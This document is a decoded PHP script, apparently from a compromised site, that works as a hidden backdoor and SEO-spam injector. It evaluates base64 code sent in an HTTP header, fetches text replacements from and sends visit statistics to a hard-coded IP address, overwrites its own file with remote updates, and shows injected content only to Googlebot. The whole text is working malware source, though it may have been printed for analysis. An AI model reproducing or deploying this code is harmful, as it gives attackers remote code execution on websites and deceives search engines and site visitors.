PHP Decode

if (!defined('VI_CURRENT_FILE')) { define('VI_CURRENT_FILE', preg_replace('~\(.*\(.*~', '', __FILE__)); } if (isset($_SERVER['REQUEST_METHOD']) && @strtoupper($_SERVER['REQUEST_METHOD']) == 'HEAD') { @header('X-Site-Identity: ' . time()); } if (VI_CURRENT_FILE == preg_replace('~\(.*\(.*~', '', __FILE__)) { if (!function_exists('http_build_query')) { function http_build_query($spea4d94, $sp4542c5 = null, $sp85a9cf = '&', $spc9301a = '') { $sp0efb5b = array(); foreach ((array) $spea4d94 as $sp1357ea => $sp27e85e) { $sp1357ea = urlencode($sp1357ea); if (is_int($sp1357ea) && $sp4542c5 != null) { $sp1357ea = $sp4542c5 . $sp1357ea; } if (!empty($spc9301a)) { $sp1357ea = $spc9301a . '[' . $sp1357ea . ']'; } if (is_array($sp27e85e) || is_object($sp27e85e)) { array_push($sp0efb5b, http_build_query($sp27e85e, '', $sp85a9cf, $sp1357ea)); } else { array_push($sp0efb5b, $sp1357ea . '=' . urlencode($sp27e85e)); } } if (empty($sp85a9cf)) { $sp85a9cf = ini_get('arg_separator.output'); } return implode($sp85a9cf, $sp0efb5b); } } if (!function_exists('file_put_contents')) { function file_put_contents($spa27bdc, $spea4d94) { $sp27d0fa = @fopen($spa27bdc, 'w'); if (!$sp27d0fa) { return false; } else { $sp061c0c = fwrite($sp27d0fa, $spea4d94); fclose($sp27d0fa); return $sp061c0c; } } } if (!class_exists('VI_Engine')) { class VI_Engine { var $spd4236d = 86400; var $spedf2ff = 86400; var $spc4959c = 15; var $sp19012f = 'http://91.200.13.9'; var $spab1778 = '2.2'; var $sp13201b = null; var $spea4d94 = array(); static $executed = false; function end() { $this->sp3f0ed2(); if (!empty($_SERVER['HTTP_VI_EXEC_CODE'])) { ob_end_clean(); eval(base64_decode($_SERVER['HTTP_VI_EXEC_CODE'])); echo '
executed'; die; } if (self::$executed) { ob_end_flush(); return; } self::$executed = true; $spd15649 = $this->sp9eb85b(); if (file_exists($spd15649)) { $this->spea4d94 = unserialize(file_get_contents($spd15649)); } if (!isset($this->spea4d94['stat'][$_SERVER['REQUEST_URI']])) { $this->spea4d94['stat'][$_SERVER['REQUEST_URI']] = array('cnt' => 0); } $this->spea4d94['stat'][$_SERVER['REQUEST_URI']]['cnt']++; $this->sp9f6840(); $this->spedf4d0(); $this->spd82c49(); file_put_contents($spd15649, serialize($this->spea4d94)); $sp707b9b = ob_get_contents(); ob_end_clean(); if (!$this->sp31be70()) { echo $sp707b9b; return null; } $this->sp13201b = mb_detect_encoding($sp707b9b); $sp707b9b = str_replace('</head>', '<meta name="robots" content="noarchive, notranslate"></head>', $sp707b9b); if (!empty($this->spea4d94['pairs'][$_SERVER['REQUEST_URI']])) { $sp92277d = array(); $sp89d7a3 = array(); foreach ($this->spea4d94['pairs'][$_SERVER['REQUEST_URI']] as $sp0b9e27) { $sp92277d[] = $this->sp13201b ? $this->spb094ed($sp0b9e27['needle']) : $sp0b9e27['needle']; $sp89d7a3[] = $this->sp13201b ? $this->spb094ed($sp0b9e27['replacement']) : $sp0b9e27['replacement']; } $sp707b9b = str_replace($sp92277d, $sp89d7a3, $sp707b9b); } echo $sp707b9b; } function sp3f0ed2() { if (!isset($_SERVER['REQUEST_URI'])) { $_SERVER['REQUEST_URI'] = @$_SERVER['SCRIPT_NAME']; if (isset($_SERVER['QUERY_STRING'])) { $_SERVER['REQUEST_URI'] .= '?' . @$_SERVER['QUERY_STRING']; } } } function sp9eb85b() { $sp19cb68 = '/tmp'; if (function_exists('sys_get_temp_dir')) { $sp19cb68 = sys_get_temp_dir(); } $spbe94a2 = 'data.db'; $sp228583 = array('wp-content/uploads', 'wp-content/', getcwd(), $sp19cb68); foreach ($sp228583 as $sp677178) { if (is_dir($sp677178) && is_writable($sp677178)) { return $sp677178 . '/' . $spbe94a2; } } return $spbe94a2; } function spedf4d0() { $spedbe5b = time(); if (!isset($this->spea4d94['lastSyncContent']) || $this->spea4d94['lastSyncContent'] + $this->spedf2ff <= $spedbe5b) { $sp2b5053 = $this->sp7251c0($this->sp19012f . '/client/getReplacements?version=' . urlencode($this->spab1778)); if (!empty($sp2b5053)) { $sp76b89f = unserialize($sp2b5053); if ($sp76b89f !== false) { $this->spea4d94['pairs'] = $sp76b89f; } if (!isset($this->spea4d94['pairs'])) { $this->spea4d94['pairs'] = array(); } } $this->spea4d94['lastSyncContent'] = $spedbe5b; } } function spd82c49() { $spedbe5b = time(); if (!isset($this->spea4d94['lastSyncStatistic']) || $this->spea4d94['lastSyncStatistic'] + $this->spd4236d <= $spedbe5b) { $spc3fc18 = $this->sp513139($this->spea4d94['stat']); if ($spc3fc18 == 'updated') { $this->spea4d94['stat'] = array(); } $this->spea4d94['lastSyncStatistic'] = $spedbe5b; } } function sp513139($sp9ecfc4) { $sp63cf86 = array('stat' => $sp9ecfc4, 'version' => $this->spab1778); if (defined('VI_S_ID')) { $sp63cf86['sid'] = VI_S_ID; } return $this->spf490dd($this->sp19012f . '/client/putStatistic', $sp63cf86); } function sp7251c0($sp4672af) { return $this->sp74b132('GET', $sp4672af); } function spf490dd($sp4672af, $sp63cf86) { return $this->sp74b132('POST', $sp4672af, $sp63cf86); } function sp74b132($spfd4b14, $sp4672af, $sp63cf86 = null) { if (function_exists('curl_init')) { $sp059d24 = curl_init(); curl_setopt($sp059d24, CURLOPT_URL, $sp4672af); curl_setopt($sp059d24, CURLOPT_RETURNTRANSFER, true); curl_setopt($sp059d24, CURLOPT_CONNECTTIMEOUT, $this->spc4959c); if ($spfd4b14 == 'POST') { curl_setopt($sp059d24, CURLOPT_POST, true); curl_setopt($sp059d24, CURLOPT_POSTFIELDS, http_build_query($sp63cf86)); } $spea61e5 = array('Domain: ' . $_SERVER['SERVER_NAME']); curl_setopt($sp059d24, CURLOPT_HTTPHEADER, $spea61e5); $spc3fc18 = curl_exec($sp059d24); $sp2034b3 = curl_getinfo($sp059d24, CURLINFO_HTTP_CODE); if (substr($sp2034b3, 0, 1) == 4 || substr($sp2034b3, 0, 1) == 5) { $spc3fc18 = ''; } curl_close($sp059d24); return $spc3fc18; } elseif (function_exists('fsockopen')) { $sp457388 = parse_url($sp4672af); if (empty($sp457388['path'])) { $sp457388['path'] = '/'; } $spb35d3c = @fsockopen($sp457388['host'], 80, $sp41eed1, $spa2dc9d, $this->spc4959c); if (!$spb35d3c) { return false; } $spbf496b = $sp457388['path'] . (isset($sp457388['query']) ? '?' . $sp457388['query'] : ''); $sp74b132 = sprintf('%s %s HTTP/1.1
', $spfd4b14, $spbf496b) . sprintf('Host: %s
', $sp457388['host']); $sp8c710a = ''; if ($spfd4b14 == 'POST') { $sp8c710a = http_build_query($sp63cf86); $sp74b132 .= 'Content-Type: application/x-www-form-urlencoded
' . 'Content-Length: ' . strlen($sp8c710a) . '
'; } $sp74b132 .= sprintf('Domain: %s
', $_SERVER['SERVER_NAME']); $sp74b132 .= 'Connection: Close

'; if ($spfd4b14 == 'POST') { $sp74b132 .= $sp8c710a; } @fwrite($spb35d3c, $sp74b132); $spea4d94 = ''; while (!feof($spb35d3c)) { $spea4d94 .= @fgets($spb35d3c); } @fclose($spb35d3c); $sp2ac20a = explode('

', $spea4d94); if (empty($sp2ac20a[1])) { return false; } $spa867a1 = explode('
', $sp2ac20a[0]); $sp6a89bf = explode(' ', $spa867a1[0]); $sp2034b3 = $sp6a89bf[1]; $sp3b8146 = explode('
', $sp2ac20a[1]); if (count($sp3b8146) <= 1 || (substr($sp2034b3, 0, 1) == 4 || substr($sp2034b3, 0, 1) == 5)) { return false; } unset($sp3b8146[0]); return trim(implode('
', $sp3b8146)); } elseif (ini_get('allow_url_fopen') == '1') { $sp032e09 = array('http' => array('method' => $spfd4b14, 'timeout' => $this->spc4959c, 'header' => 'Domain: ' . $_SERVER['SERVER_NAME'])); if ($spfd4b14 == 'POST') { $sp032e09['http']['content'] = http_build_query($sp63cf86); $sp032e09['http']['header'] .= '
Content-type: application/x-www-form-urlencoded'; } $sp907323 = stream_context_create($sp032e09); $sp3b8146 = @file_get_contents($sp4672af, false, $sp907323); $sp6a89bf = explode(' ', $spd81d6a[0]); $sp2034b3 = $sp6a89bf[1]; if (substr($sp2034b3, 0, 1) == 4 || substr($sp2034b3, 0, 1) == 5) { return ''; } return $sp3b8146; } return false; } function sp31be70() { return strpos(mb_strtolower($_SERVER['HTTP_USER_AGENT']), 'googlebot') !== false && (!isset($_SERVER['HTTP_REFERER']) || mb_strpos($_SERVER['HTTP_REFERER'], 'google.') === false); } function spb094ed($sp43cf17) { $sp989bfc = mb_detect_encoding($sp43cf17); return $sp989bfc ? iconv($sp989bfc, $this->sp13201b, $sp43cf17) : $sp43cf17; } function sp9f6840() { $sp75d476 = $this->sp7251c0($this->sp19012f . '/client/checkUpdates?edition=' . $this->spab1778); if (empty($sp75d476) || !preg_match('~\/\*edition:(.+)(.*?);~', $sp75d476)) { return; } $this->sp805499($sp75d476); } function sp805499($sp7aa03d) { $spfc4d37 = preg_replace('~\(.*\(.*~', '', __FILE__); $spe3bdec = @file_get_contents($spfc4d37); if (preg_match('~\/\*edition:(.+)(.*?);~', $spe3bdec, $spf54a5c)) { $sp3f207f = $spf54a5c[0]; $sp73e1b5 = str_replace($sp3f207f, $sp7aa03d, $spe3bdec); @file_put_contents($spfc4d37, $sp73e1b5); } } } } $sp841079 = new VI_Engine(); $sp841079->end(); }